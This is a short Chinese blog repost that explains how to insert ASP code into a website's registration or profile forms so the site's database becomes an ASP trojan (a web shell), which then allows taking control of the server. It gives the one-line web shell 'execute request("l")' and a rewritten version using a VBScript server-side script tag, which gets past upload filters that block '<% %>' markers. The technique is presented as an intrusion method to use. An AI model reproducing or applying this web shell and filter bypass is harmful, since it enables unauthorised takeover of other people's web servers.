插入ASP代码让网站数据库成为ASP木马
生活随笔
收集整理的這篇文章主要介紹了
插入ASP代码让网站数据库成为ASP木马
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
很多時候我們可以通過在注冊表單或者用戶信息修改表單中,插入簡短的ASP代碼,使網站ASP數據庫變成為一個ASP木馬,然后進一步入侵控制服務器。
不過在上傳代碼過程中,許多網頁程序都不允許包含〈%%〉標記符號的內容的文件上傳。
這樣就有好多SHELL不能上傳上去了。可以采用下面的方法解決。以藍屏最小ASP木馬為例。
首先:原程序代碼是:
〈%execute request("l")%〉
我們可以把它的標簽換下來。
然后改成:
<scriptlanguage=VBScript runat=server>execute request("l")</Script>
這樣就避開了使用〈%%〉,保存為.ASP,程序同樣執行。
轉載于:https://www.cnblogs.com/wzglweb/archive/2009/02/08/1386405.html
總結
以上是生活随笔為你收集整理的插入ASP代码让网站数据库成为ASP木马的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: MYSQL出错代码和出错信息对照表
- 下一篇: asp.net下向数据库存储和读取图片示